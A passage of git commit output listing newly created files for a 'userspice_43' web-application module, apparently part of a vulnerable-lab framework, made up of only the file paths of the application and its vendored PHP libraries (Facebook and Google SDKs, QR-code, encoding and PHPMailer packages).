modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Helpers/FacebookPageTabHelper.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Helpers/FacebookRedirectLoginHelper.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Helpers/FacebookSignedRequestFromInputHelper.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Http/GraphRawResponse.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Http/RequestBodyInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Http/RequestBodyMultipart.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Http/RequestBodyUrlEncoded.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/HttpClients/FacebookCurl.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/HttpClients/FacebookCurlHttpClient.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/HttpClients/FacebookGuzzleHttpClient.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/HttpClients/FacebookHttpClientInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/HttpClients/FacebookStream.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/HttpClients/FacebookStreamHttpClient.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/HttpClients/HttpClientsFactory.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/HttpClients/certs/DigiCertHighAssuranceEVRootCA.pem create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PersistentData/FacebookMemoryPersistentDataHandler.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PersistentData/FacebookSessionPersistentDataHandler.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PersistentData/PersistentDataFactory.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PersistentData/PersistentDataInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PseudoRandomString/McryptPseudoRandomStringGenerator.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PseudoRandomString/OpenSslPseudoRandomStringGenerator.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PseudoRandomString/PseudoRandomStringGeneratorFactory.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PseudoRandomString/PseudoRandomStringGeneratorInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PseudoRandomString/PseudoRandomStringGeneratorTrait.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/PseudoRandomString/UrandomPseudoRandomStringGenerator.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/SignedRequest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Url/FacebookUrlDetectionHandler.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Url/FacebookUrlManipulator.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Url/UrlDetectionInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/autoload.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/polyfills.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/Google_Client.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/auth/Google_AssertionCredentials.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/auth/Google_Auth.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/auth/Google_AuthNone.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/auth/Google_LoginTicket.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/auth/Google_OAuth2.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/auth/Google_P12Signer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/auth/Google_PemVerifier.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/auth/Google_Signer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/auth/Google_Verifier.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/cache/Google_ApcCache.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/cache/Google_Cache.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/cache/Google_FileCache.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/cache/Google_MemcacheCache.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/config.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_AdexchangebuyerService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_AdsenseService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_AdsensehostService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_AnalyticsService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_BigqueryService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_BloggerService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_BooksService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_CalendarService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_ComputeService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_CustomsearchService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_DriveService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_FreebaseService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_FusiontablesService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_GanService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_LatitudeService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_LicensingService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_ModeratorService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_Oauth2Service.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_OrkutService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_PagespeedonlineService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_PlusMomentsService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_PlusService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_PredictionService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_ShoppingService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_SiteVerificationService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_StorageService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_TaskqueueService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_TasksService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_TranslateService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_UrlshortenerService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_WebfontsService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/contrib/Google_YoutubeService.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/external/URITemplateParser.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/io/Google_CacheParser.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/io/Google_CurlIO.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/io/Google_HttpRequest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/io/Google_IO.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/io/Google_REST.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/io/cacerts.pem create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/service/Google_BatchRequest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/service/Google_MediaFileUpload.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/service/Google_Model.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/service/Google_Service.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/service/Google_ServiceResource.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Google/service/Google_Utils.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/subscribe.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/times.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/tomfoolery.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/twofa.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/update.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/user_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/autoload.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/.gitignore create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/.travis.yml create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/LICENSE create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/Module.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/README.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/autoload_classmap.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/autoload_function.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/autoload_register.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/composer.json create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/AbstractEnum.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/BitArray.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/BitMatrix.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/BitUtils.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/CharacterSetEci.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/EcBlock.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/EcBlocks.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/ErrorCorrectionLevel.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/FormatInformation.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/Mode.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/ReedSolomonCodec.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/Version.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/BlockPair.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/ByteMatrix.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/Encoder.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/MaskUtil.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/MatrixUtil.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/QrCode.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/ExceptionInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/InvalidArgumentException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/OutOfBoundsException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/RuntimeException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/UnexpectedValueException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/WriterException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Color/Cmyk.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Color/ColorInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Color/Gray.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Color/Rgb.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/AbstractRenderer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Decorator/DecoratorInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Decorator/FinderPattern.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Eps.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Png.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/RendererInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Svg.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/RendererInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Text/Html.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Text/Plain.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/src/BaconQrCode/Writer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitArrayTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitMatrixTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitUtilsTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ErrorCorrectionLevelTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/FormatInformationTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ModeTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ReedSolomonCodecTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/VersionTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/EncoderTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MaskUtilTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MatrixUtilTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/HtmlTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/TextTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/bootstrap.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/bacon/bacon-qr-code/tests/phpunit.xml create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/composer/ClassLoader.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/composer/LICENSE create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/composer/autoload_classmap.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/composer/autoload_files.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/composer/autoload_namespaces.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/composer/autoload_psr4.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/composer/autoload_real.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/composer/autoload_static.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/composer/installed.json create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/.gitignore create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/.travis.yml create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/LICENSE.txt create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/README.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/composer.json create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/phpunit.xml.dist create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/Base32.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/Base32Hex.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/Base64.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/Base64DotSlash.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/Base64DotSlashOrdered.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/Base64UrlSafe.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/Binary.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/EncoderInterface.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/Encoding.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/Hex.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/src/RFC4648.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/tests/Base32HexTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/tests/Base32Test.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/tests/Base64DotSlashOrderedTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/tests/Base64DotSlashTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/tests/Base64Test.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/tests/Base64UrlSafeTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/tests/EncodingTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/tests/HexTest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/constant_time_encoding/tests/RFC4648Test.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/LICENSE create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/build-phar.sh create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/composer.json create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/dist/random_compat.phar.pubkey create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/dist/random_compat.phar.pubkey.asc create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/byte_safe_strings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/cast_to_int.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/error_polyfill.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/random.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/random_bytes_com_dotnet.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/random_bytes_dev_urandom.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/random_bytes_libsodium.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/random_bytes_libsodium_legacy.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/random_bytes_mcrypt.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/lib/random_int.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/other/build_phar.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/psalm-autoload.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/paragonie/random_compat/psalm.xml create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/.github/ISSUE_TEMPLATE.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/.phan/config.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/.php_cs create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/LICENSE create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/UPGRADING.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/VERSION create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/composer.json create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/get_oauth_token.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-am.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ar.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-az.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ba.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-be.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-bg.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ca.php create mode 100644 